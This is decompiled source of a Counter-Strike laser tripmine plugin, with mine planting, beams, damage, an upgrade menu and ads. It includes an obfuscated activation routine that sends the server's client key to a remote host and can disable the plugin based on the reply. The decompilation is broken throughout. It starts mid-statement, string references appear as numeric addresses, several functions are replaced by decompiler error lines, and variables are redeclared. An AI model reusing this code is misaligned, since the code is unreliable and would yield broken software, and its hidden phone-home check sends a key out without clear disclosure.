register_cvar(228404, 228448, 0, 0); cvar_imine_upgcost = register_cvar(228464, 228520, 0, 0); cvar_imax_count = register_cvar(228540, 228584, 0, 0); cvar_imax_admin_count = register_cvar(228592, 228660, 0, 0); cvar_fvertical_angle = register_cvar(228668, 228732, 0, 0); cvar_fhorizontal_angle = register_cvar(228752, 228824, 0, 0); cvar_ikill_reward_lev1 = register_cvar(228844, 228916, 0, 0); cvar_ikill_reward_lev2 = register_cvar(228932, 229004, 0, 0); cvar_ishowing_menu = register_cvar(229020, 229076, 0, 0); cvar_iimprovement_admin = register_cvar(229084, 229160, 0, 0); cvar_iimprovement = register_cvar(229168, 229220, 0, 0); cvar_iadvertising = register_cvar(229228, 229280, 0, 0); cvar_iadvertising_time = register_cvar(229288, 229360, 0, 0); cvar_mine_killreward = register_cvar(229372, 229436, 0, 0); cvar_admin_flag = register_cvar(229452, 229536, 0, 0); cvar_reset_speed_on = register_cvar(229544, 229644, 0, 0); cvar_spawn_time_block_damage = register_cvar(229652, 229764, 0, 0); cvar_sparks_on = register_cvar(229772, 229852, 0, 0); cvar_kill_hud_on = register_cvar(229860, 229948, 0, 0); cvar_motion_on = register_cvar(229956, 230036, 0, 0); g_eCvars[0] = register_cvar(230044, 230076, 0, 0); g_eCvars[1] = register_cvar(230084, 230116, 0, 0); g_eCvars[2] = register_cvar(230124, 230156, 0, 0); g_eCvars[3] = register_cvar(230164, 230196, 0, 0); g_eCvars[4] = register_cvar(230208, 230240, 0, 0); g_eCvars[5] = register_cvar(230252, 230284, 0, 0); g_eCvars[6] = register_cvar(230296, 230328, 0, 0); ReadModelsSounds(); new bool:error; new i; while (i < 2) { if (file_exists(szModels[i])) { precache_model(szModels[i]); } else { server_print(230340, szModels[i]); error = true; } i++; } lvf(); precache_sound(230480); precache_sound(230608); precache_sound(230736); precache_sound(230872); g_explo = precache_model(230996); precache_model(231084); precache_model(231160); expSpr = precache_model(231236); if (error) { pause(231336, 231344, 231348); } return 0; } public lvf() { xld[0] = floatround(PLANTWAITTIME, 3); xld[1] = floatround(POWERUPTIME, 3); xld[2] = floatround(BEAM_WIDTH, 3); xld[3] = floatround(BEAM_BRIGHT, 3); xld[4] = floatround(PLANT_TIME, 3); xld[5] = floatround(PLANT_RADIUS, 3); xld[6] = floatround(LASER_LENGTH, 3); xld[7] = BLAST_TASK_ID; xld[8] = floatround(beamtimethink, 3); xld[9] = useraiminglength; xld[10] = floatround(fl_maxspeed, 3); xld[11] = angl1; xld[12] = angl2; xld[13] = floatround(plstuckradius, 3); xld[14] = floatround(minetimethink, 3); xld[15] = killHealth; xld[16] = strcmpon; return 0; } public get_admin_flag() { new flags[24]; get_pcvar_string(cvar_admin_flag, flags, 23); return read_flags(flags); } public plugin_init() { register_plugin(231352, 231400, 231432); set_task(1065353216, 231564, 0, 231612, 0, 231616, 0); z_313o0(); register_menu(231628, keys, 231648, 0); BarTime = get_user_msgid(231684); g_msgDamage = get_user_msgid(231716); g_msgDeathMsg = get_user_msgid(231744); g_msgScoreInfo = get_user_msgid(231780); maxPlayers = get_maxplayers(); register_clcmd(231820, 231860, -1, 231912, -1); register_clcmd(231916, 231956, -1, 231912, -1); register_touch(232024, 232064, 232092); register_think(232164, 232204); RegisterHam(9, 232264, 232324, 0); RegisterHam(11, 232388, 232448, 0); RegisterHam(0, 232512, 232540, 0); register_dictionary_colored(232600); register_logevent(232660, 2, 232696); register_logevent(232744, 2, 232780); set_task(1065353216, 232836, 0, 231612, 0, 232884, 0); register_think(232892, 232912); return 0; } public z_313o0() { new i; while (i < 17) { zld[i] = xld[i]; i++; } return 0; } encrypt_text(text[], _arg1) { new encrypted[34]; md5(text, encrypted); return encrypted; } public getNums(preskaller) { new counter = 1; while (counter) { counter++; new num1 = random(100000); new num2 = random(100000); new num3 = random(100000); new num4 = random(100000); new num5 = random(100000); if (!(counter > 5)) { new var1; if (num2 != num1 && num3 != num1 && num4 != num1 && num5 != num1 && num3 != num2 && num4 != num2 && num5 != num2 && num4 != num3 && num5 != num3 && num5 != num4) { counter++; } num1 = num2 + num1; num3 = num4 * num3; num1 = num3 + num1; num1 /= num5; if (0 > num1) { num1 *= -1; } return num1 % preskaller; } return -1; } return -1; } public StartPlugin() { if (PluginsOn == -1) { return 0; } new iSocket; new iError; new var1; if ((iSocket = Socket_Open(HostName, 80, 1, iError)) == -1 && iError) { } else { if (0 >= iSocket) { socket_close(iSocket); } } return 0; } public Socket_Connected(iSocket) { new szPacket[512]; static numActivation; if (PluginsOn) { if (PluginsOn == 1) { set_task(1133903872, 268340, 0, 231612, 0, 231616, 0); formatex(szPacket, 511, 268388, 233020, 232956, 267820, 232960); } } else { if (numActivation <= 2) { numActivation += 1; new arr[7] = {72,101,108,108,111,33,0}; new klkey[32]; get_pcvar_string(cvar_client_key, klkey, 32); copyc(267820, 29, klkey, 32); new rand = getNums(100000); g_p = rand; if (rand == -1) { pause(267976, 231344, 231348); } static nums; nums = rand % 15; rand = zld[nums] ^ rand; new pass[16]; num_to_str(rand, pass, 15); new string[256]; new lens; new i; while (i < 7) { new str[10]; format(str, 9, 267988, arr[i]); lens = formatex(string[lens], 255 - lens, 268000, zld[nums] ^ str_to_num(str)) + lens; i++; } formatex(szPacket, 511, 268016, 233020, 232956, pass, string, klkey, 232960); } else { numActivation = 2; set_task(1114636288, 268292, 0, 231612, 0, 231616, 0); } } socket_send(iSocket, szPacket, 512); return 0; } public Socket_TimedOut(iSocket) { socket_close(iSocket); return 0; } public Socket_Disconnected(iSocket) { socket_close(iSocket); return 0; } public Socket_IncomingData(iSocket, iBytesReceived) { socket_recv(iSocket, 235048, 4095); if (!PluginsOn) { strtok(235048, 233048, 499, 251432, 4095, 33, 0); strtok(251432, 233048, 499, 235048, 4095, 64, 0); new param[40][30] = {160,276,392,508,624,740,856,972,1088,1204,1320,1436,1552,1668,1784,1900,2016,2132,2248,2364,2480,2596,2712,2828,2944,3060,3176,3292,3408,3524,3640,3756,3872,3988,4104,4220,4336,4452,4568,4684}; new num; new iData; new iParam; new c[10]; new j; new tt[1]; while (num < 40) { if (!(iData > 4094)) { if (!(iParam > 38)) { tt[0] = arr2[iData]; if (equal(tt, 268816, 1)) { j = 0; new a = str_to_num(c); new strcl[1]; new f; while (f < 10) { c[f] = strcl[0]; f++; } a = g_p ^ a; new strr[1]; format(strr, 1, 268824, a); param[num][iParam] = strr[0]; iParam++; iData++; tt[0] = arr2[iData]; if (equal(tt, 268836, 1)) { iData++; num++; iParam = 0; tt[0] = arr2[iData + 1]; if (equal(tt, 268844, 1)) { tt[0] = arr2[iData + 2]; if (equal(tt, 268852, 1)) { new numPar = str_to_num(param[0][param]); if (numPar >= 40) { numPar = 38; } new var1; if (str_to_num(param[0][param]) == 2 && equal(param[1], 268860, 0)) { PluginsOn = -1; return 0; } if (str_to_num(param[0][param]) == 21) { encrypt_text(param[1]); /* ERROR! Can't print expression: Heap */ function "Socket_IncomingData" (number 62) public PlayerSpawnPre(id) { g_fSpawnTime[id] = get_gametime(); return 0; } public advertising() { if (PluginsOn != 1) { return 0; } if (get_pcvar_num(cvar_iadvertising) != 1) { return 0; } static ad_time; if (get_pcvar_num(cvar_iadvertising_time) <= ad_time) { new id = 1; while (get_maxplayers() > id) { client_print_color(id, id / 34 / 35 / 33, "%L", id, "STFM_ADVERTISING"); id++; } ad_time = 0; } ad_time += 1; return 0; } public Beam_Think(ent) { new mine = entity_get_edict(ent, 4); if (!is_valid_ent(ent)) { UTIL_Remove(ent); } if (entity_get_int(mine, 5) != entity_get_int(ent, 5)) { UTIL_Remove(ent); } entity_set_float(ent, 7, floatadd(get_gametime(), beamtimethink)); return 0; } public RoundEnd() { new ent; while ((ent = find_ent_by_class(ent, 1920))) { new id = entity_get_edict(ent, 10); new beam[5]; new i; while (i < 5) { beam[i] = get_beam_mine(id, ent, i + 60); if (is_valid_ent(beam[i])) { remove_entity(beam[i]); } i++; } new iOwner = entity_get_edict(ent, 10); remove_entity(ent); set_free_mine(iOwner, ent); } return 0; } public SetLaser_CMD(id) { if (PluginsOn) { if (PluginsOn == -1) { client_print_color(id, id / 34 / 35 / 33, 269832); return 1; } if (23 <= get_pcvar_num(cvar_imax_count)) { set_cvar_num(270528, 20); } if (23 <= get_pcvar_num(cvar_imax_admin_count)) { set_cvar_num(270572, 20); } new var1; if (!get_admin_flag() & get_user_flags(id, 0) && GetPlayer_Mines(id) >= get_pcvar_num(cvar_imax_count)) { playerData[id][1] = floatadd(get_gametime(), PLANTWAITTIME); client_print_color(id, id / 34 / 35 / 33, "%L", id, "SFTM_MAX"); return 1; } new var2; if (get_admin_flag() & get_user_flags(id, 0) && GetPlayer_Mines(id) >= get_pcvar_num(cvar_imax_admin_count)) { playerData[id][1] = floatadd(get_gametime(), PLANTWAITTIME); client_print_color(id, id / 34 / 35 / 33, "%L", id, "SFTM_MAX"); return 1; } playerData[id][2] = 1; thinkHooks += 1; if (thinkHooks == 1) { if (!playerPostThink) { playerPostThink = RegisterHam(58, 270736, 270764, 1); } EnableHamForward(playerPostThink); } return 1; } client_print_color(id, id / 34 / 35 / 33, 269332); return 1; } public SetLaser_DropCMD(id) { if (!playerData[id][2]) { return 1; } thinkHooks -= 1; if (0 >= thinkHooks) { DisableHamForward(playerPostThink); } playerData[id][2] = 0; if (is_valid_ent(playerData[id][0])) { remove_entity(playerData[id][0]); Send_BarTime(id, 0.0); set_free_mine(id, playerData[id][0]); playerData[id][0] = -1; playerData[id][1] = floatadd(get_gametime(), PLANTWAITTIME); } return 1; } public Player_PostThink(id) { if (playerData[id][2]) { if (TripMine_PlantThink(id, false)) { TripMine_Plant(id, playerData[id][0]); } } return 0; } TripMine_Spawn() { new tm = create_entity(1992); entity_set_string(tm, 0, 1920); entity_set_int(tm, 14, 5); entity_set_int(tm, 15, 0); new var1 = szModels; entity_set_model(tm, var1[0][var1]); entity_set_float(tm, 10, 0); entity_set_int(tm, 17, 3); entity_set_int(tm, 20, 7); entity_set_float(tm, 12, 0); entity_set_size(tm, 270832, 270844); return tm; } GetPlayer_Mines(id) { new ent; new cnt; while ((ent = find_ent_by_class(ent, 1920))) { if (entity_get_edict(ent, 10) == id) { cnt++; } } return cnt; } TripMine_PlantThink(id, bool:reset) { if (playerData[id][1] > get_gametime()) { return 0; } new ent = playerData[id][0]; new target; new body; new Float:dist = get_user_aiming(id, target, body, useraiminglength); if (dist <= 0.0) { if (is_valid_ent(ent)) { set_free_mine(id, ent); remove_entity(ent); Send_BarTime(id, 0.0); } playerData[id][0] = -1; SetLaser_DropCMD(id); return 0; } new var1; if (!is_user_alive(id) || is_user_alive(target)) { if (is_valid_ent(ent)) { set_free_mine(id, ent); remove_entity(ent); Send_BarTime(id, 0.0); } client_print_color(id, id / 34 / 35 / 33, "%L", id, "SFTM_STOPPLAYER"); playerData[id][0] = -1; SetLaser_DropCMD(id); return 0; } new var2; if (!is_user_alive(id) || cs_get_user_money(id) - get_pcvar_num(cvar_imine_cost) < 0) { if (is_valid_ent(ent)) { set_free_mine(id, ent); remove_entity(ent); Send_BarTime(id, 0.0); } client_print_color(id, id / 34 / 35 / 33, "%L", id, "SFTM_COST", get_pcvar_num(cvar_imine_cost)); playerData[id][0] = -1; SetLaser_DropCMD(id); return 0; } if (reset) { if (is_valid_ent(ent)) { set_free_mine(id, ent); remove_entity(ent); Send_BarTime(id, 0.0); playerData[id][0] = -1; return 1; } return 0; } new Float:vecSrc[3] = 0.0; new Float:vecAiming[3] = 0.0; entity_get_vector(id, 9, vecSrc); engfunc(17, vecSrc); entity_get_vector(id, 0, vecSrc); entity_get_vector(id, 18, vecAiming); xs_vec_add(vecSrc, vecAiming, vecSrc); get_global_vector(26, vecAiming); xs_vec_mul_scalar(vecAiming, PLANT_RADIUS, vecAiming); xs_vec_add(vecSrc, vecAiming, vecAiming); new Float:flFraction = 0.0; engfunc(29, vecSrc, vecAiming, 259, id, 0); get_tr2(0, 4, flFraction); if (flFraction < 1.0) { new pHit; new Float:vecEnd[3] = 0.0; new bool:noUpdate; get_tr2(0, 5, vecEnd); while ((pHit = find_ent_in_sphere(pHit, vecEnd, 1090519040))) { new var3; if (!(pHit <= maxPlayers || ent != pHit)) { new classname[32]; entity_get_string(pHit, 0, classname, 31); if (strcmp(classname, 1920, 0)) { } else { noUpdate = true; if (!is_valid_ent(ent)) { return 0; } } } } if (!is_valid_ent(ent)) { ent = TripMine_Spawn(); entity_set_int(ent, 32, 5); entity_set_float(ent, 29, 1132396544); new Float:plantTime = PLANT_TIME; entity_set_float(ent, 36, floatadd(get_gametime(), plantTime)); if (get_pcvar_num(cvar_reset_speed_on) == 1) { entity_set_float(id, 30, fl_maxspeed); } Send_BarTime(id, plantTime); playerData[id][0] = ent; } if (!noUpdate) { new Float:vecPlaneNormal[3] = 0.0; new Float:angles[3] = 0.0; new Float:mAngles[3] = 0.0; get_tr2(0, 7, vecPlaneNormal); vector_to_angle(vecPlaneNormal, angles); xs_vec_copy(angles, mAngles); set_mine_vector(id, ent, mAngles, 50); xs_vec_mul_scalar(vecPlaneNormal, 8.0, vecPlaneNormal); xs_vec_add(vecEnd, vecPlaneNormal, vecEnd); entity_set_origin(ent, vecEnd); entity_set_vector(ent, 6, angles); } if (entity_get_float(ent, 36) < get_gametime()) { set_pev(ent, 100, 1); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(id, ent, 50); entity_get_vector(ent, 19, angles); engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(id, ent, m_vecDir, 1); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(id, ent, 50); entity_get_vector(ent, 19, angles); new var4; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = floatadd(angles[0], get_pcvar_float(cvar_fhorizontal_angle)); angles[1] += angl1; } else { new var8 = angles[1]; var8 = floatadd(var8, get_pcvar_float(cvar_fhorizontal_angle)); } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(id, ent, m_vecDir, 5); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(id, ent, 50); entity_get_vector(ent, 19, angles); new var5; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = floatadd(angles[0], get_pcvar_float(cvar_fhorizontal_angle)); angles[1] += -angl1; } else { new var9 = angles[1]; var9 = floatsub(var9, get_pcvar_float(cvar_fhorizontal_angle)); } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(id, ent, m_vecDir, 10); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(id, ent, 50); entity_get_vector(ent, 19, angles); new var6; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = floatadd(angles[0], get_pcvar_float(cvar_fvertical_angle)); angles[1] += 0; } else { angles[0] = floatadd(angles[0], get_pcvar_float(cvar_fvertical_angle)); } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(id, ent, m_vecDir, 15); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(id, ent, 50); entity_get_vector(ent, 19, angles); new var7; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = floatsub(angles[0], get_pcvar_float(cvar_fvertical_angle)); angles[1] += 0; } else { angles[0] = floatsub(angles[0], get_pcvar_float(cvar_fvertical_angle)); } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(id, ent, m_vecDir, 20); return 1; } } else { if (is_valid_ent(ent)) { remove_entity(ent); Send_BarTime(id, 0.0); set_free_mine(id, ent); playerData[id][0] = -1; } } return 0; } /* ERROR! null */ function "TripMine_Plant" (number 73) public client_PreThink(id) { if (!is_user_alive(id)) { return 0; } new button = get_user_button(id); new var1; if (button & 32 && !message1[id]) { new target; new body; new Float:dist = get_user_aiming(id, target, body, useraiminglength); new iOwner = entity_get_edict(target, 10); if (id != iOwner) { return 0; } new var2; if (dist > 0.0 && dist < 150.0 && is_valid_ent(target)) { new classname[32]; entity_get_string(target, 0, classname, 31); if (strcmpon == strcmp(classname, 1920, 0)) { new mineNum = get_mine_num(iOwner, target); if (mineNum != 23) { if (g_MineData[iOwner][mineNum][68]) { g_MineData[iOwner][mineNum][68] = 0; } else { g_MineData[iOwner][mineNum][68] = 1; } message1[id] = 1; set_task(1050253722, 271376, id, 231612, 0, 231616, 0); } } } } return 0; } public UnUse(id) { message1[id] = 0; return 0; } /* ERROR! null */ function "TripMine_Think" (number 76) damagetoplayer(ent, target) { new newHealth = get_user_health(target) - floatround(get_pcvar_float(cvar_fmine_damage), 0); if (newHealth <= killHealth) { emit_sound(target, 1, 271724, 1065353216, 1061997773, 0, 100); new targetFrags = get_user_frags(target) + 1; new owner = entity_get_edict(ent, 10); if (!is_user_connected(owner)) { return 0; } new ownerFrags = get_user_frags(owner) + 1; set_user_frags(target, targetFrags); set_user_frags(owner, ownerFrags); cs_set_user_money(owner, get_pcvar_num(cvar_mine_killreward) + cs_get_user_money(owner), 1); message_begin(2, g_msgDeathMsg, 271848, 0); write_byte(owner); write_byte(target); write_byte(0); write_string(271860); message_end(); new numkill = pev(ent, 101); set_pev(ent, 101, numkill + 1); scoreinfo_update(owner, ownerFrags, cs_get_user_deaths(owner), cs_get_user_team(owner, 0)); set_msg_block(g_msgDeathMsg, 1); } set_user_health(target, newHealth); new Float:Origin[3] = 0.0; entity_get_vector(target, 0, Origin); message_begin(8, g_msgDamage, 271904, target); write_byte(floatround(get_pcvar_float(cvar_fmine_damage), 0)); write_byte(floatround(get_pcvar_float(cvar_fmine_damage), 0)); write_long(2); write_coord(floatround(Origin[0], 0)); write_coord(floatround(Origin[1], 0)); write_coord(floatround(Origin[2], 0)); message_end(); return 0; } scoreinfo_update(id, frags, deaths, team) { message_begin(2, g_msgScoreInfo, 1444, 0); write_byte(id); write_short(frags); write_short(deaths); write_short(0); write_short(team); message_end(); return 0; } /* ERROR! null */ function "TripMine_StatusInfo" (number 79) /* ERROR! null */ function "TripMine_Damage" (number 80) public TripMine_Killed(ent) { new classname[32]; entity_get_string(ent, 0, classname, 31); if (strcmp(classname, 1920, 0)) { return 1; } new beam[5]; new i; while (i < 5) { beam[i] = get_beam_mine(entity_get_edict(ent, 10), ent, i + 60); if (is_valid_ent(beam[i])) { UTIL_Remove(beam[i]); } i++; } new Float:origin[3] = 0.0; new Float:m_vecDir[3] = 0.0; entity_get_vector(ent, 0, origin); get_mine_vector(entity_get_edict(ent, 10), ent, 1); entity_get_vector(ent, 19, m_vecDir); set_free_mine(entity_get_edict(ent, 10), ent); xs_vec_mul_scalar(m_vecDir, 8.0, m_vecDir); xs_vec_add(origin, m_vecDir, origin); engfunc(70, 4, 23, origin, 0); write_byte(3); engfunc(71, origin); engfunc(71, origin[1]); engfunc(71, origin[2]); write_short(expSpr); write_byte(20); write_byte(15); write_byte(0); message_end(); new killer = entity_get_edict(ent, 1); new hOwner = entity_get_edict(ent, 10); new var1; if (!0 < maxPlayers >= killer || entity_get_edict(ent, 10) != killer) { client_print_color(hOwner, hOwner / 34 / 35 / 33, "%L", hOwner, "SFTM_EXPLODE"); } else { new exploderName[32]; get_user_name(killer, exploderName, 31); client_print_color(hOwner, hOwner / 34 / 35 / 33, "%L", hOwner, "SFTM_EXPLODED", exploderName); if (pev(ent, 100) == 1) { if (get_pcvar_num(cvar_ikill_reward_lev1)) { cs_set_user_money(killer, get_pcvar_num(cvar_ikill_reward_lev1) + cs_get_user_money(killer), 1); client_print_color(killer, killer / 34 / 35 / 33, "%L", killer, "SFTM_REWARD", get_pcvar_num(cvar_ikill_reward_lev1), pev(ent, 100)); } } else { if (get_pcvar_num(cvar_ikill_reward_lev2)) { cs_set_user_money(killer, get_pcvar_num(cvar_ikill_reward_lev2) + cs_get_user_money(killer), 1); client_print_color(killer, killer / 34 / 35 / 33, "%L", killer, "SFTM_REWARD", get_pcvar_num(cvar_ikill_reward_lev2), pev(ent, 100)); } } } return 1; } TripMine_MakeBeam(ent) { decl beam; new var1; if (entity_get_int(ent, 6) == 1) { var1[0] = 272568; } else { var1[0] = 272644; } beam = Beam_Create(var1, BEAM_WIDTH); new Float:m_vecDir[3] = 0.0; new Float:vecSrc[3] = 0.0; new Float:vecOrigin[3] = 0.0; get_mine_vector(entity_get_edict(ent, 10), ent, 1); entity_get_vector(ent, 19, m_vecDir); entity_get_vector(ent, 0, vecSrc); xs_vec_copy(vecSrc, vecOrigin); xs_vec_mul_scalar(m_vecDir, LASER_LENGTH, m_vecDir); xs_vec_add(vecSrc, m_vecDir, vecSrc); Beam_PointsInit(beam, vecSrc, vecOrigin); set_pev(beam, 37, 1132396544); set_pev(beam, 40, 1972); set_beam_mine(entity_get_edict(ent, 10), ent, 60, beam); set_mine_vector(entity_get_edict(ent, 10), ent, vecSrc, 25); entity_set_edict(beam, 4, ent); entity_set_int(beam, 5, entity_get_int(ent, 5)); entity_set_float(beam, 7, floatadd(get_gametime(), minetimethink)); return 0; } TripMine_MakeBeam2(id, ent, type) { if (1 < pev(ent, 100)) { return 0; } if (get_pcvar_num(cvar_imine_upgcost) > cs_get_user_money(id)) { client_print_color(id, id / 34 / 35 / 33, "%L", id, "SFTM_UPGCOST", get_pcvar_num(cvar_imine_upgcost)); return 0; } cs_set_user_money(id, cs_get_user_money(id) - get_pcvar_num(cvar_imine_upgcost), 1); entity_set_float(ent, 13, get_pcvar_float(cvar_fmine_health_lev2)); emit_sound(ent, 2, 272784, 1065353216, 1061997773, 0, 100); new beam[2]; new Float:m_vecDir1[2][3] = {3.85186E-34,2.5243549E-29}; new Float:vecSrc[2][3] = {3.85186E-34,2.5243549E-29}; new iOwner = entity_get_edict(ent, 10); new mineNum = get_mine_num(iOwner, ent); g_MineData[iOwner][mineNum][66] = g_angles[id]; g_MineData[iOwner][mineNum][67] = g_angles[id]; new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(iOwner, ent, 50); entity_get_vector(ent, 19, angles); new var1; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = g_angles[id][angles[0]]; angles[1] += angl1; } else { new var6 = angles[1]; var6 = g_angles[id][var6]; } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(iOwner, ent, m_vecDir, 5); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(iOwner, ent, 50); entity_get_vector(ent, 19, angles); new var2; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = g_angles[id][angles[0]]; angles[1] += -angl1; } else { angles[1] -= g_angles[id]; } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(iOwner, ent, m_vecDir, 10); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(iOwner, ent, 50); entity_get_vector(ent, 19, angles); new var3; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = g_angles[id][angles[0]]; angles[1] += 0; } else { angles[0] = g_angles[id][angles[0]]; } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(iOwner, ent, m_vecDir, 15); new Float:m_vecDir[3] = 0.0; new Float:angles[3] = 0.0; get_mine_vector(iOwner, ent, 50); entity_get_vector(ent, 19, angles); new var4; if (angles[0] == angl1 || angles[0] == angl2) { angles[0] = angles[0] - g_angles[id]; angles[1] += 0; } else { angles[0] = angles[0] - g_angles[id]; } engfunc(17, angles); get_global_vector(26, m_vecDir); m_vecDir[2] = -m_vecDir[2]; set_mine_vector(iOwner, ent, m_vecDir, 20); new i; while (i < 2) { new var5; if (entity_get_int(ent, 6) == 1) { var5[0] = 272928; } else { var5[0] = 273004; } beam[i] = Beam_Create(var5, BEAM_WIDTH); i++; } if (type == 1) { get_mine_vector(iOwner, ent, 5); } else { get_mine_vector(iOwner, ent, 15); } entity_get_vector(ent, 19, m_vecDir1[0][m_vecDir1]); if (type == 1) { get_mine_vector(iOwner, ent, 10); } else { get_mine_vector(iOwner, ent, 20); } entity_get_vector(ent, 19, m_vecDir1[1]); new i; while (i < 2) { new Float:vecOrigin[3] = 0.0; entity_get_vector(ent, 0, vecSrc[i]); xs_vec_copy(vecSrc[i], vecOrigin); xs_vec_mul_scalar(m_vecDir1[i], LASER_LENGTH, m_vecDir1[i]); xs_vec_add(vecSrc[i], m_vecDir1[i], vecSrc[i]); Beam_PointsInit(beam[i], vecSrc[i], vecOrigin); set_pev(beam[i], 37, 1132396544); set_pev(beam[i], 40, 1972); i++; } new i; while (i < 2) { entity_set_edict(beam[i], 4, ent); entity_set_int(beam[i], 5, entity_get_int(ent, 5)); entity_set_float(beam[i], 7, floatadd(get_gametime(), minetimethink)); i++; } if (pev(ent, 100) == 1) { set_pev(ent, 100, 2); set_beam_mine(iOwner, ent, 61, beam[0]); set_beam_mine(iOwner, ent, 62, beam[1]); set_mine_vector(iOwner, ent, vecSrc[0][vecSrc], 30); set_mine_vector(iOwner, ent, vecSrc[1], 35); entity_set_edict(ent, 7, type); } new name[33]; get_user_name(id, name, 32); client_print_color(iOwner, iOwner / 34 / 35 / 33, "%L", iOwner, "SFTM_UPGRADER", name, pev(ent, 100)); return 0; } Send_BarTime(player, Float:duration) { if (0.0 == duration) { ExecuteHamB(70, player); } message_begin(1, BarTime, 1444, player); write_short(floatround(duration, 0)); message_end(); return 0; } UTIL_Remove(pEntity) { if (!pEntity) { return 0; } entity_set_int(pEntity, 27, entity_get_int(pEntity, 27) | 1073741824); return 0; } /* ERROR! null */ function "fw_LaserMineTouch" (number 86) public FuncMenu(id, ent) { static len; static menu[1024]; len = 0; new data[2]; data[0] = id; data[1] = ent; if (!task_exists(id + BLAST_TASK_ID, 0)) { set_task(1065353216, 277248, id + BLAST_TASK_ID, data, 2, 277272, 0); } len = formatex(menu[len], 1023 - len, 277280); len = formatex(menu[len], 1023 - len, 277444, get_pcvar_num(cvar_imine_upgcost)) + len; len = formatex(menu[len], 1023 - len, 277532, g_angles[id]) + len; len = formatex(menu[len], 1023 - len, 277704) + len; len = formatex(menu[len], 1023 - len, 277844) + len; len = formatex(menu[len], 1023 - len, 277972) + len; len = formatex(menu[len], 1023 - len, 278112) + len; show_menu(id, keys, 273148, get_pcvar_num(cvar_ishowing_menu), 278184); new mid; new keys; get_user_menu(id, mid, keys); save = mid; return 1; } public MenuFunc(id, key) { switch (key) { case 0: { if (pev_valid(g_updater[id])) { if (pev(g_updater[id], 100) == 1) { TripMine_MakeBeam2(id, g_updater[id], 1); } } g_updater[id] = 0; } case 1: { if (pev_valid(g_updater[id])) { if (pev(g_updater[id], 100) == 1) { TripMine_MakeBeam2(id, g_updater[id], 2); } } g_updater[id] = 0; } case 5: { new i; while (i < 6) { if (get_pcvar_num(g_eCvars[i + 0]) == g_angles[id]) { g_angles[id] = get_pcvar_num(g_eCvars[i + 0 + 1]); FuncMenu(id, g_updater[id]); return 0; } i++; } g_angles[id] = get_pcvar_num(g_eCvars[0]); FuncMenu(id, g_updater[id]); } default: { } } return 0; } public blast(data[], TaskId) { if (data[1] != g_updater[data[0]]) { if (task_exists(TaskId, 0)) { remove_task(TaskId, 0); return 0; } } new mids; new keys; get_user_menu(data[0], mids, keys); if (save != mids) { if (task_exists(TaskId, 0)) { g_updater[data[0]] = 0; remove_task(TaskId, 0); return 0; } } if (!is_valid_ent(data[1])) { if (save == mids) { show_menu(data[0], 0, 278204, 1, 278212); } if (task_exists(TaskId, 0)) { remove_task(TaskId, 0); return 0; } } new Float:vecSrc[3] = 0.0; new origin[3]; new col[3]; entity_get_vector(data[1], 0, vecSrc); new i; while (i < 3) { origin[i] = floatround(vecSrc[i], 0); i++; } new team = entity_get_int(data[1], 6); if (team == 1) { col[0] = 255; col[1] = 0; col[2] = 0; } else { if (team == 2) { col[0] = 0; col[1] = 0; col[2] = 255; } } message_begin(1, 23, origin, data[0]); write_byte(19); write_coord(origin[0]); write_coord(origin[1]); write_coord(origin[2]); write_coord(origin[0] + 30); write_coord(origin[1] + 30); write_coord(origin[2] + 50); write_short(g_explo); write_byte(10); write_byte(0); write_byte(3); write_byte(8); write_byte(0); write_byte(col[0]); write_byte(col[1]); write_byte(col[2]); write_byte(100); write_byte(0); message_end(); return 0; }